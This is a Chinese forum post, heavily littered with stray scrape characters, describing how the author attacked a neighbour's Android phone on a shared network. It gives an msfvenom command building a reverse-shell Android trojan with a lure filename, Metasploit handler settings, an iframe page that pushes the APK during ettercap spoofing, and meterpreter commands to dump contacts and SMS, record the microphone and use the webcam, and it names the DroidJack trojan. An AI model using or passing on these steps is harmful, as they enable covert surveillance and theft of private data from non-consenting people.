|
+ ?% B- O% L4 }! W0 ]$ W# F
五、msf+ettercap入侵邻居安卓手机
9 y% x) [; C' G/ a( P* C& e
- G" X) d4 h# S: [. F7 l# N& @6 k2 X9 {6 \( G
首先启动msf ' R# Q0 |) _8 L4 K: |6 @
3 j4 v$ X3 b- q* e* j* H
: p( G {' @0 J8 n/ `" C9 f- U- r2 c V, M
先用kali生成一个安卓木马，如下命令：
# K3 y& G" |2 ~. @. X5 l4 _( p g1 g. ~ E1 F7 |1 C: A' T f% I4 E
5 H' Z/ J6 a6 r% m. u P: o# @ a Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk $ V; t7 ^. r8 U J9 M
" Z* C5 g% A) Y) z7 N! I
$ ^% A# q6 I8 q/ a9 H6 F  为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻
/ ^( r9 N: \ o" ]! ~# V ' x. ~* l2 p4 H, `: `+ [5 d
% v" R0 ~5 ], M! n
然后进入msf
* X3 W$ k6 K) D+ `8 \& _' c4 W ' ^3 ]. o0 \. w5 N7 F& Q: ?, R9 D3 A ?
2 X: w3 O. ~) y) _2 T5 L use exploit/multi/handler
3 _( d$ u+ ]% D" C
" |7 X5 N$ s- c
- Q) _7 Z" f' Z8 R1 M3 p; P set payload android/meterpreter/reverse_tcp ' `6 [% i8 c1 w
( c. T3 z: ~' r$ A0 q' s, L
$ T$ W- `5 Y1 u8 @3 L6 r
set LHOST 192.168.0.109 //ip为kaili的ip & d% r5 u. K# x. R6 A* r
) y& X7 C3 i( D" g3 C
& `8 P# ~( R1 {9 e; S; }2 K set LPORT 44444 //端口一定要与前面生成的木马的端口一致 1 e- D) r( } f+ {; f0 f2 Q+ a6 f
8 M) w6 D9 J* d6 k. A) m9 y- J
* Q/ R# A0 r" }4 M/ W6 j5 I' c- g
Exploit ; ~7 b4 g. S" s, U0 _ M& G0 k1 U. l
% Y. n1 w+ O* C* a* v4 p
+ d2 A; S. x2 `- l+ l) k2 l* U
 3 q1 j% v3 z; u( B
( }+ t% l! z, b6 i2 [6 ]; M
1 a e7 g8 S& V) j$ J% g" o
下面我们开启ettercap -G
, x: J0 s6 N8 \* H
7 h# t0 V* h" N& N" b$ {/ C; m& z1 z( J
我物理IP为 4 `* C/ s8 k. {/ }
: s* f6 `% O( ~1 q4 J
$ D9 U5 D, T2 {  ) P% j6 E: S5 A$ I
9 @) V$ i" H3 V9 c
$ G$ I7 x% m% `! U 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
9 D/ k9 b4 e5 z5 p- g5 w0 c- g! h
9 c7 V$ v' b, y6 V5 [$ i! a& E3 l) L5 z5 `2 Z
下面我们来设置一下
1 L! F1 W( s4 t* L
/ f/ T5 \ C8 u( }" B: Y' y' W
, |. ~& m! f+ \( u T3 }, J  / q& x8 g) L0 h7 p. r
8 ]8 G/ T4 o- H. l3 W
; ^; T4 i* a# y6 N3 O" |, o0 O 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， ( ?$ T, b/ ^* X4 J" D- ]6 A
3 I, J; Y t# g, c) D( c
' y! h9 C; o' p( f* ` Z7 G. y0 q/ q
) g( v6 ?1 ~2 f+ x$ _
9 c+ V# g N K4 [7 `9 D# d; \. Q+ t! \% W
8 [5 \, v* ^; `: ^, l ) m0 d% B# h1 h) L
. s: ?6 Y! y" ?3 \6 I$ r
" X% b. j+ l, h# p$ K
7 T# c5 N6 w/ N3 h9 {# _+ U
' y2 j7 p1 z; d9 z$ }4 {2 L . y- a3 r! r' T
, C* ]& R$ F9 f* b% w: N1 I- n
8 g2 F2 u4 @6 n ( z" K W: \5 D+ t
& L. E5 F) f; k# z( S, a
# S! B1 X5 B5 g" e/ X' U6 G/ ?
( ?+ h( p. I3 e) m& M# t! |6 k
+ J9 E) p$ ~4 z* X/ v
& A( S3 Q7 _3 z( n+ Z4 F& u" o; |
; x9 h- a7 W8 M! n5 f, E) U4 R
/ {9 t) d4 i. _0 v
1 E7 M5 s& K: L4 `1 V- O / z6 M4 N$ b! H! X, T$ Z x1 b! F
* x$ [+ q% Y, O( \5 A; s
8 ]; C F o6 k9 L( A3 Q3 z3 \
" B( e" U) S% Y+ o
6 M# l% e/ R" b# F( ?+ K4 C3 v" V, G2 F. o
5 o" I5 b, q/ } / p7 s; [1 J& |
( k- ]3 `: F$ l! q& m, W
! E; U, r# y1 f
0 Q, P2 y) T( _) u
7 [* d* {. T5 R; | j3 i, N
2 T6 d0 Z5 T- V% R8 ~& y
- |5 x1 T' P4 f6 r- F
# X) Y! P; q/ |9 S 
" H7 T0 }8 S. C! C- n
: z9 W0 c' ^ _, ^+ [) v6 U2 d8 ]% Y1 ^0 \ w8 L D
下面我们开始攻击
# P- o1 U6 F3 e' ?2 ~
! C9 @7 y m, B5 C/ ^% j3 N/ p8 z8 i6 t/ {
! r& j" t6 N5 j % {. D2 N( }3 E d A9 _! ^: n0 s' K
6 {% R7 Z6 e% ^7 A) F
& e7 w0 |8 U- ^/ D4 L+ V
. u% @( D9 d7 W6 A0 J. T9 r) F& Z2 l0 X9 D$ o& F
% N! q! D8 l: ~7 F8 A3 }, B8 {* N
7 x* q- U w q. g, j8 V, z
2 |3 c. A1 o) A2 J" ` 5 ^! n$ w, W; R: \8 W8 D4 b4 w
' ]! v6 C B/ J( M9 z2 E
% @6 k4 ]8 a& I: S9 k7 `' J' q  ; G2 m3 I6 |" }9 Z
+ ~' E& B* ?& s) z4 c
# f3 x+ y$ R# F, g2 E1 F
大概过了5分钟多，发现反弹成功了 6 T1 L2 Y, o; y: j
1 o8 v9 u" g+ {- ^ p* b! Y# L5 n$ K' q+ I
1 u8 L: ^' T7 v$ A" c. g; b
1 d) |. P3 \( P" G9 P% r+ q" {" e$ f
7 ]& f2 ^6 M0 T" f
0 h2 {6 W( _( P! L# X6 K% B/ ^. K & B% h) C, u6 v' y" Y8 u; o( ^- P
2 N4 L8 O) _, l$ t$ o: m
' I' r8 {4 v, x$ k/ q+ O f 3 k2 X0 L2 v' k3 ?$ {$ z# z
' Q# o6 D6 F y' y7 {
% }" I3 ^0 M% C+ o5 L 1 n7 R0 M$ L6 O( Q0 ~- P% D3 S
2 d' w2 X$ }: u( k
: V. F e8 o5 N9 Q; R0 X( ]# ^5 b5 O
& l7 D- S X% Q: P- F3 Q; O) ~ N5 c/ S% r
9 o& o( P( W! [! j4 D
' E: O! @( {5 I5 b- S* W7 G
+ `$ {9 [! l7 Q: F  & K8 n2 Y8 E& c4 ]9 }( ~
% s7 ~) V0 Q% ?9 O/ r! V0 W- J
; \) W+ ?; q4 `- T& t
执行命令
. U& u9 j& l* ?. e6 M" F
8 U: C% n: b) |' P* G: ?. a) U1 M! Y# o. f+ Q- f, H- \6 {
! S* G/ c2 S) V1 |: H: o6 \
/ _7 ]# [+ ~6 H2 o$ W5 i
/ H& a: l! g* g7 m/ F( Q. L6 [ dump_contacts --》这个是导出电话
% o4 @% S" Y% ] V& A; L5 H3 ~! b) q 6 ^% b* p3 m. a/ T7 M3 k2 x* N
: n' Z2 ]& E) o7 E" x# y
dump_sms --》这个是导出信息
% } w1 Q% t# z0 K5 v 5 H3 N% g' p- k, Q' Z3 K3 }
( v& P4 J* W& t! D6 D# S* F/ L2 w" r
record_mic Record audio from the default microphone for X seconds
s8 O, I i+ |6 R : w( P& F% v/ F7 z
9 x+ a7 k$ J. Z' C% f8 i
webcam_chat Start a video chat $ l% j' V. |9 V1 b/ _: K# O
; ?& v! D+ P' R0 U% E/ s2 J2 n$ g0 }! @( ?0 _* p
webcam_list List webcams
2 b+ C7 z; _5 K2 o, B. Q! t
3 A8 f2 a" W: C$ t6 U3 Q% z5 J {" e& q9 |0 R
webcam_snap Take a snapshot from the specified webcam
1 k6 ~7 Z( b0 s' o7 Q1 q. _
3 S8 Y! @4 \6 M; j
7 E9 N7 e% Z' y* ` webcam_stream  lay a video stream from the specified webcam
, \' K# T! H( A# i: n8 d" E
% h: a& J7 t+ X6 B6 n) b7 n; p6 L% R' T7 `5 p% G, [# }3 [+ @0 Z
 ' R% N9 q2 m: u/ U
' m8 R0 f$ ` l' F! t H
9 C. c! ~; E$ h# A/ M 
; }% d7 D1 E7 V" V+ m ~; e \
/ v9 v; z8 z8 y. ]7 }2 o6 v2 Z U ]9 ?* _, J# o n. m$ ~5 A
我们打开看一下电话薄，
' x7 g2 q4 R8 t6 N4 e3 N
# W6 f0 N: Y# Z/ b! _4 l8 j
) R+ Q2 f6 p7 T& ^" D+ x, K+ A$ f
/ d$ ]3 U! t! C - n5 t* H3 U' k3 Y; |; |
" X) ?1 t+ U1 h# u9 Z! g6 |4 N
) W; s8 E) l9 d- _0 q4 g; ]7 I1 K
/ t3 u" L, s; B3 s/ [
. V$ r. F7 A: s! r- K1 {6 g" D + d$ O. S1 c Y# l6 `5 R
" E. y/ Q9 U# B* v; E1 a
3 t5 @2 O$ S/ Y: s; [2 I8 }" I  0 Z# r1 _% s9 y) K, y9 }# c
6 g% @, v$ ?0 b- ~; c- O- ^
+ Q* A- [6 {' w; ~+ f  2 C4 }5 O: [, Q! \
. Y- }/ u+ V/ m. d
9 o3 T4 l6 R! p: } & A1 L. ^( Q5 A/ I! ]
2 @5 L3 [0 t* x* C, |9 t5 p, N
" t s% x3 p# ~4 D
我们同时欺骗成DroidJack木马，使用方法如图： 9 q1 [, ?* a, {- s. S3 V$ G
6 O- B/ b; K% c" C/ X! y1 j
' Y% F* F* H+ r, J2 J8 C" `1 v
/ i! I; C0 ?* I, `7 y! h 7 `; X/ }- u9 M# J
, g7 ^" n8 z; I1 }
2 t% f9 _$ K0 s# I
, | a# E5 h5 L8 Z/ o1 t* Y
3 C3 r2 C" u( K  3 Y; x2 }. R* |
% K9 l# L) k" J- Z1 d" H' [/ b2 P
4 D3 B. W& v5 Y
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 O. w2 _% C8 g) ?# S: ` g
d- j! W2 T# B* F' S
8 u8 @$ [+ T1 E; a
& @" f! L; U7 H0 b- f" T 4 S* d6 Q; J0 P9 R# E
$ _2 H. S; ]9 F# T/ w 
* j& U) [4 M& h
! D" w9 P6 c W( H6 G
$ Y) b2 @# |# f. C5 p8 C  # w( o* D! V( {9 ^7 E( s
; f1 |6 F' x' \( d8 ~
6 M' _9 W5 a5 J$ @  
! J$ W8 i5 `9 p: d2 Y6 A
5 E& k/ V r( D3 O
4 Q9 i9 k- x6 E7 U) q' {" W% U
; f1 n' k# ]0 N; E- |7 z5 `
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对